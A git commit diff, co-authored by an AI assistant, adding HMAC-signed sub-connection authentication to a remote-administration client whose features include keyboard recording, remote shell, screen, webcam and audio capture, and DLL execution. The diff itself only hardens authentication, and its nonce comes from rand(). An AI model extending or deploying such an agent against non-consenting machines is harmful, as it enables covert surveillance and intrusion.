Feature: sub-connection auth (TOKEN_CONN_AUTH) with HMAC + clientID binding

Client first packet on every sub-connection signs (clientID || timestamp ||
nonce) and waits for server ack. Server verifies signature and pins clientID
on the sub-connection ctx, eliminating IP-reverse-lookup unreliability for
NAT/localhost scenarios. Sub-conn coverage: Win 12 sites, Linux/macOS 3-4
each. Main connection keeps existing TOKEN_LOGIN flow unchanged.

Includes:
- Protocol structs sized to 512/256 bytes with reserved space for future
  extensions (locale, OS info, session token, etc.)
- 5-min timestamp tolerance (Kerberos-grade replay window)
- 10-sec client wait for cross-pacific / weak-network tolerance
- Fix RemoveFromHostList side-effect ordering: MarkDeviceOffline and
  m_ActiveWndW.erase now only fire when ctx is actually removed from
  m_HostList, preventing sub-conn disconnects from misreporting main as
  offline (regression introduced by auth-set clientID on sub ctx)
- Fix latent bug: IOCPClient::m_conn was never assigned in ctor, leaving
  GetConnectionAddress() always NULL and FileManager V2 transfer's
  srcClientID always 0

Breaking change: new client cannot use sub-features against old server.
New server tolerates legacy clients (no auth). Future tightening can reject
unauthenticated sub-connections via IsAuthenticated() flag.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
yuanyuanxiang
2026-05-06 23:55:34 +02:00
parent 2c5b5ad628
commit ef8165c3b4
11 changed files with 363 additions and 49 deletions

View File

@@ -1163,6 +1163,7 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
// 创建新连接发送文件 // 创建新连接发送文件
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, conn); IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, conn);
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) { if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
std::thread([allFiles, targetDir = std::string(targetDir), pClient, opts, hash, hmac]() { std::thread([allFiles, targetDir = std::string(targetDir), pClient, opts, hash, hmac]() {
FileBatchTransferWorkerV2(allFiles, targetDir, pClient, FileBatchTransferWorkerV2(allFiles, targetDir, pClient,

View File

@@ -100,6 +100,77 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess, O
m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL; m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL;
} }
// 子连接身份校验:发 TOKEN_CONN_AUTH 包后阻塞等服务端响应。
// signMessage 由私有库提供(与 KernelManager.cpp 验证主控签名同款),
// 空 publicKey/privateKey 走内置 HMAC。
extern std::string signMessage(const std::string& privateKey, BYTE* msg, int len);
bool IOCPClient::PerformConnAuth(uint64_t clientID, int timeoutMs)
{
ConnAuthPacket pkt = {};
pkt.token = TOKEN_CONN_AUTH;
pkt.clientID = clientID;
pkt.timestamp = (uint64_t)time(NULL);
// 16 字节 nonce用 rand() + 时间扰动,强度够用(重放保护主要靠时间戳)
for (int i = 0; i < 16; ++i) {
pkt.nonce[i] = (uint8_t)((rand() ^ (clock() >> i)) & 0xFF);
}
BYTE sigInput[8 + 8 + 16];
memcpy(sigInput, &pkt.clientID, 8);
memcpy(sigInput + 8, &pkt.timestamp, 8);
memcpy(sigInput + 16, pkt.nonce, 16);
auto sig = signMessage("", sigInput, sizeof(sigInput));
size_t sigLen = sig.size() < 64 ? sig.size() : 64;
memcpy(pkt.signature, sig.data(), sigLen);
// 设置等待状态
{
std::lock_guard<std::mutex> lk(m_authMtx);
m_authStatus = -1;
m_authPending = true;
}
// 发包;用 HttpMask 包装与其它子连接首包风格一致
HttpMask mask(DEFAULT_HOST, GetClientIPHeader());
int sent = Send2Server((char*)&pkt, sizeof(pkt), &mask);
if (sent <= 0) {
std::lock_guard<std::mutex> lk(m_authMtx);
m_authPending = false;
Mprintf("[ConnAuth] 发送失败\n");
return false;
}
// 等响应或超时
std::unique_lock<std::mutex> lk(m_authMtx);
bool got = m_authCv.wait_for(lk, std::chrono::milliseconds(timeoutMs),
[this]{ return !m_authPending; });
int status = m_authStatus;
m_authPending = false;
if (!got) {
Mprintf("[ConnAuth] 等待响应超时 (%d ms),判定失败\n", timeoutMs);
return false;
}
bool ok = (status == CONN_AUTH_OK);
Mprintf("[ConnAuth] %s (status=%d)\n", ok ? "通过" : "失败", status);
return ok;
}
bool IOCPClient::TryHandleAuthResponse(PBYTE buf, ULONG len)
{
if (!buf || len < sizeof(ConnAuthAck)) return false;
if (buf[0] != TOKEN_CONN_AUTH) return false;
{
std::lock_guard<std::mutex> lk(m_authMtx);
if (!m_authPending) return false; // 没在等 → 不消费,让 manager 处理(理论不会发生)
const ConnAuthAck* ack = (const ConnAuthAck*)buf;
m_authStatus = ack->status;
m_authPending = false;
}
m_authCv.notify_all();
return true;
}
IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn, IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn,
const std::string& pubIP, void* main) : g_bExit(bExit) const std::string& pubIP, void* main) : g_bExit(bExit)
@@ -119,6 +190,8 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
} }
m_main = main; m_main = main;
m_conn = conn; // 保存 CONNECT_ADDRESS 指针。子连接 auth 在每次连接时通过
// m_conn->clientID 现取主连接 ID同一指针主连接登录后填好的最新值
int encoder = conn ? conn->GetHeaderEncType() : 0; int encoder = conn ? conn->GetHeaderEncType() : 0;
m_sLocPublicIP = pubIP; m_sLocPublicIP = pubIP;
m_ServerAddr = {}; m_ServerAddr = {};
@@ -380,6 +453,27 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
#endif #endif
} }
// 子连接身份校验opt-in 通过 EnableSubConnAuth 开启):
// - WorkThread 已经启动,能接收 ack 包并通过 TryHandleAuthResponse 唤醒等待。
// - clientID 优先用 EnableSubConnAuth 显式传入的值Linux/macOS 客户端走此路径),
// 未显式传入时从 m_conn 现取Windows 客户端走此路径)。
// - 校验失败Disconnect 并返回 FALSE让上层走重连或放弃逻辑。
if (m_subConnAuthEnabled) {
uint64_t cid = m_subConnAuthClientID;
if (cid == 0 && m_conn) cid = m_conn->clientID;
if (cid == 0) {
Mprintf("[ConnAuth] 跳过校验clientID 尚未就绪(主连接还没拿到 ID\n");
// 没拿到 ID 就别盲发,等下一次 Reconnect 时再试。视为本次连接失败。
Disconnect();
return FALSE;
}
if (!PerformConnAuth(cid, CONN_AUTH_CLIENT_WAIT_MS)) {
Mprintf("[ConnAuth] 校验失败,断开连接\n");
Disconnect();
return FALSE;
}
}
return TRUE; return TRUE;
} }
@@ -549,11 +643,16 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength); size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
if (Z_SUCCESS(iRet)) { //如果解压成功 if (Z_SUCCESS(iRet)) { //如果解压成功
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态 // 优先看是不是 TOKEN_CONN_AUTH 响应;只有当 PerformConnAuth 正在等待时才消费。
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样 // 不在等待状态时返回 false包透传给 managermanager 一般也不识别此 token
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength); // 走 default 路径忽略,无副作用)。
if (ret) { if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) {
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret); //解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
if (ret) {
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
}
} }
} else { } else {
Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength); Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength);

View File

@@ -32,6 +32,8 @@
#endif #endif
#include "IOCPBase.h" #include "IOCPBase.h"
#include <mutex> #include <mutex>
#include <condition_variable>
#include <chrono>
#define MAX_RECV_BUFFER 1024*32 #define MAX_RECV_BUFFER 1024*32
#define MAX_SEND_BUFFER 1024*128 // 增大分块大小以提高发送效率 #define MAX_SEND_BUFFER 1024*128 // 增大分块大小以提高发送效率
@@ -259,6 +261,26 @@ public:
m_LoginMsg = msg; m_LoginMsg = msg;
m_LoginSignature = hmac; m_LoginSignature = hmac;
} }
// 子连接身份校验:发 TOKEN_CONN_AUTH 包,等服务端 ConnAuthAck 响应。
// 返回 true 表示通过false 表示超时/失败/网络错误。
// 主连接不调用此方法。新客户端必须调用并校验成功后才能继续后续命令。
// 已实现的协议扩展(如 KeyBoard 子连接的 cap word保留不变与本机制并行工作。
bool PerformConnAuth(uint64_t clientID, int timeoutMs);
// 让 ConnectServer 在每次成功后自动调一次 PerformConnAuthopt-in
// 子连接构造后调用此方法启用。
// - clientID == 0每次 auth 时从 m_conn->clientID 现取Windows 客户端走此路径)。
// 这样即便 IOCPClient 创建时主连接还没拿到 ID真正连上时也能用到最新值。
// - clientID != 0显式指定Linux/macOS 客户端 IOCPClient 不带 m_conn 时用此参数)。
void EnableSubConnAuth(bool enabled = true, uint64_t clientID = 0) {
m_subConnAuthEnabled = enabled;
m_subConnAuthClientID = clientID;
}
// 内部:在收到的数据帧分发到 manager 之前,尝试识别并消费 TOKEN_CONN_AUTH ack。
// 仅在我们正在等待 auth 响应时m_authPending=true才消费否则透传给 manager。
bool TryHandleAuthResponse(PBYTE buf, ULONG len);
protected: protected:
virtual int ReceiveData(char* buffer, int bufSize, int flags) virtual int ReceiveData(char* buffer, int bufSize, int flags)
{ {
@@ -285,6 +307,16 @@ protected:
BOOL m_bConnected; BOOL m_bConnected;
std::mutex m_Locker; std::mutex m_Locker;
// 子连接身份校验同步状态。仅在 PerformConnAuth 调用期间生效。
std::mutex m_authMtx;
std::condition_variable m_authCv;
int m_authStatus = -1; // -1 = 未启动;其它 = ConnAuthStatus
bool m_authPending = false; // true 时 TryHandleAuthResponse 才消费 ack
// ConnectServer 成功后自动 auth 的 opt-in 标志。子连接构造后调 EnableSubConnAuth() 设为 true。
bool m_subConnAuthEnabled = false;
uint64_t m_subConnAuthClientID = 0; // 0 表示从 m_conn->clientID 现取
#if USING_CTX #if USING_CTX
ZSTD_CCtx* m_Cctx; // 压缩上下文 ZSTD_CCtx* m_Cctx; // 压缩上下文
ZSTD_DCtx* m_Dctx; // 解压上下文 ZSTD_DCtx* m_Dctx; // 解压上下文

View File

@@ -53,7 +53,9 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub
{ {
ThreadInfo *tKeyboard = new ThreadInfo(); ThreadInfo *tKeyboard = new ThreadInfo();
tKeyboard->run = FOREVER_RUN; tKeyboard->run = FOREVER_RUN;
tKeyboard->p = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP); auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
tKeyboard->p = sub;
tKeyboard->conn = conn; tKeyboard->conn = conn;
tKeyboard->h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, tKeyboard, 0, NULL); tKeyboard->h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, tKeyboard, 0, NULL);
return tKeyboard; return tKeyboard;
@@ -956,7 +958,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
} }
case COMMAND_PROXY: { case COMMAND_PROXY: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
@@ -1060,33 +1066,49 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (m_hKeyboard) { if (m_hKeyboard) {
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL)); CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
} else { } else {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
} }
break; break;
} }
case COMMAND_TALK: { case COMMAND_TALK: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount].user = m_hInstance; m_hThread[m_ulThreadCount].user = m_hInstance;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
case COMMAND_SHELL: { case COMMAND_SHELL: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
case COMMAND_SYSTEM: { //远程进程管理 case COMMAND_SYSTEM: { //远程进程管理
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
case COMMAND_WSLIST: { //远程窗口管理 case COMMAND_WSLIST: { //远程窗口管理
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
@@ -1121,14 +1143,22 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
memcpy(user->buffer, szBuffer + 1, ulLength - 1); memcpy(user->buffer, szBuffer + 1, ulLength - 1);
if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0; if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0;
} }
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount].user = user; m_hThread[m_ulThreadCount].user = user;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
case COMMAND_LIST_DRIVE : { case COMMAND_LIST_DRIVE : {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
@@ -1136,25 +1166,41 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_WEBCAM: { case COMMAND_WEBCAM: {
static bool hasCamera = WebCamIsExist(); static bool hasCamera = WebCamIsExist();
if (!hasCamera) break; if (!hasCamera) break;
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
case COMMAND_AUDIO: { case COMMAND_AUDIO: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
case COMMAND_REGEDIT: { case COMMAND_REGEDIT: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
case COMMAND_SERVICES: { case COMMAND_SERVICES: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
break; break;
} }
@@ -1272,6 +1318,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
opts.enableResume = queryPending; // 只有发送了查询才等待响应 opts.enableResume = queryPending; // 只有发送了查询才等待响应
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn); IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn);
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) { if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
std::thread([files, targetDir, pClient, opts, hash, hmac]() { std::thread([files, targetDir, pClient, opts, hash, hmac]() {
FileBatchTransferWorkerV2(files, targetDir, pClient, FileBatchTransferWorkerV2(files, targetDir, pClient,

View File

@@ -333,8 +333,60 @@ enum {
CMD_EXECUTE_DLL_NEW = 243, // 执行代码 CMD_EXECUTE_DLL_NEW = 243, // 执行代码
CMD_PEER_TO_PEER = 244, // P2P通信 CMD_PEER_TO_PEER = 244, // P2P通信
TOKEN_CLIENTID = 245, TOKEN_CLIENTID = 245,
TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck
}; };
// 子连接校验HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID
// 钉在子连接 ctx 上,后续命令免 IP 反查直接拿到主连接关联。
// 主连接TOKEN_LOGIN 流)不走此校验。
//
// 兼容性策略:
// - 老客户端不发 → 新服务端宽容(保留 IP 反查兜底,行为不变)。
// - 新客户端发出 → 等服务端 ConnAuthAck超时或失败则不继续。
// - 因此新客户端只能向新服务端连接(破坏性升级)。
// - 未来收紧:服务端可拒绝所有未通过 auth 的子连接。
//
// 协议固定为 512 / 256 字节(参照 LOGIN_INFOR::szReserved[512] 的做法),
// 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token /
// per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段
// 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。
#pragma pack(push, 1)
struct ConnAuthPacket {
uint8_t token; // = TOKEN_CONN_AUTH [1]
uint64_t clientID; // 客户端 V2 IDMachineGuid + 归一化路径算出) [8]
uint64_t timestamp; // 客户端发包时的 Unix 秒,防重放第一道 [8]
uint8_t nonce[16]; // 随机数,进一步降低重放/碰撞概率 [16]
char signature[64]; // signMessage("", clientID||timestamp||nonce, 32) [64]
char reserved[415]; // 预留扩展 [415]
}; // 总 512
// 服务端响应token + status + serverTime + 预留,固定 256 字节。
// serverTime 客户端可用来校正本机时钟偏差用于后续协议(可选)。
struct ConnAuthAck {
uint8_t token; // = TOKEN_CONN_AUTH回显方便客户端 dispatch [1]
uint8_t status; // 0=OK, 其它=失败原因(见 ConnAuthStatus [1]
uint64_t serverTime; // 服务端处理时的 Unix 秒 [8]
char reserved[246]; // 预留扩展 [246]
}; // 总 256
#pragma pack(pop)
// 编译期断言:协议大小不允许被无意改动
static_assert(sizeof(ConnAuthPacket) == 512, "ConnAuthPacket must be exactly 512 bytes");
static_assert(sizeof(ConnAuthAck) == 256, "ConnAuthAck must be exactly 256 bytes");
enum ConnAuthStatus {
CONN_AUTH_OK = 0,
CONN_AUTH_BAD_SIZE = 1, // 包长度不对
CONN_AUTH_CLOCK_SKEW = 2, // 时间戳超过容忍范围
CONN_AUTH_BAD_SIGNATURE = 3, // HMAC 不匹配
CONN_AUTH_INTERNAL_ERROR = 4,
};
#define CONN_AUTH_TIMESTAMP_TOLERANCE_SEC 300 // 客户端/服务端时钟漂移容忍 ±5 分钟
#define CONN_AUTH_CLIENT_WAIT_MS 10000 // 客户端等待 ack 的超时
// 设为 10 秒留足跨太平洋 + 拥塞 / 卫星链路 / 偏远网络的余量;
// 同机几毫秒就回,正常路径用户感知不到。
enum MachineCommand { enum MachineCommand {
MACHINE_LOGOUT, MACHINE_LOGOUT,
MACHINE_SHUTDOWN, MACHINE_SHUTDOWN,

View File

@@ -347,6 +347,8 @@ void* ShellworkingThread(void* param)
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true)); std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get(); void* clientAddr = ClientObject.get();
Mprintf(">>> Enter ShellworkingThread [%p]\n", clientAddr); Mprintf(">>> Enter ShellworkingThread [%p]\n", clientAddr);
// 子连接:开启 auth。Linux IOCPClient 不带 m_conn显式传入 g_myClientID。
ClientObject->EnableSubConnAuth(true, g_myClientID);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get())); std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get()));
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess); ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
@@ -371,6 +373,8 @@ void* ScreenworkingThread(void* param)
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true)); std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get(); void* clientAddr = ClientObject.get();
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr); Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
// 子连接:开启 auth。Linux IOCPClient 不带 m_conn显式传入 g_myClientID。
ClientObject->EnableSubConnAuth(true, g_myClientID);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get())); std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess); ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
@@ -395,6 +399,8 @@ void* SystemManagerThread(void* param)
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true)); std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get(); void* clientAddr = ClientObject.get();
Mprintf(">>> Enter SystemManagerThread [%p]\n", clientAddr); Mprintf(">>> Enter SystemManagerThread [%p]\n", clientAddr);
// 子连接:开启 auth。Linux IOCPClient 不带 m_conn显式传入 g_myClientID。
ClientObject->EnableSubConnAuth(true, g_myClientID);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<SystemManager> handler(new SystemManager(ClientObject.get())); std::unique_ptr<SystemManager> handler(new SystemManager(ClientObject.get()));
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess); ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
@@ -417,6 +423,8 @@ void* FileManagerThread(void* param)
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true)); std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get(); void* clientAddr = ClientObject.get();
Mprintf(">>> Enter FileManagerThread [%p]\n", clientAddr); Mprintf(">>> Enter FileManagerThread [%p]\n", clientAddr);
// 子连接:开启 auth。Linux IOCPClient 不带 m_conn显式传入 g_myClientID。
ClientObject->EnableSubConnAuth(true, g_myClientID);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<FileManager> handler(new FileManager(ClientObject.get())); std::unique_ptr<FileManager> handler(new FileManager(ClientObject.get()));
